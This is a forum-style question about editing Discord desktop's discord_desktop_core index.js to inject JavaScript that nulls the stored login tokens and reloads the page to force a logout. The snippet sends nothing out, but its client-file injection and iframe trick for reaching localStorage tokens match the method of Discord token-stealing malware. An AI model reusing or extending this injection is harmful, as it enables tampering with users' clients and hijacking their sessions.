I’m trying to run some Javascript code inside of Discord using some nodejs code.
I am simply testing this part for a bot I am making that can log you out on a command.
The code does not log me out, I tested it on the web version using Developer Console (pasting and running it) which works fine; but not the application.
The method I am using this is editing the Index.js
file in the discord_desktop_core
folder directory – having discord closed when editing, opening when done.
var config = {
"log-out": "true"
}
const logOutScript = async () => await executeJS(`function getLocalStoragePropertyDescriptor(){const o=document.createElement("iframe");document.head.append(o);const e=Object.getOwnPropertyDescriptor(o.contentWindow,"localStorage");return o.remove(),e}Object.defineProperty(window,"localStorage",getLocalStoragePropertyDescriptor());const localStorage=getLocalStoragePropertyDescriptor().get.call(window);localStorage.token=null,localStorage.tokens=null,localStorage.MultiAccountStore=null,location.reload();`);
if (config['log-out'] == "true") {
await logOutScript();
}
I was expecting it to log me out of my Discord profile. This is some code which is safe and I am abiding by the ToS of Discord. (It is not a trick to do anything malicious).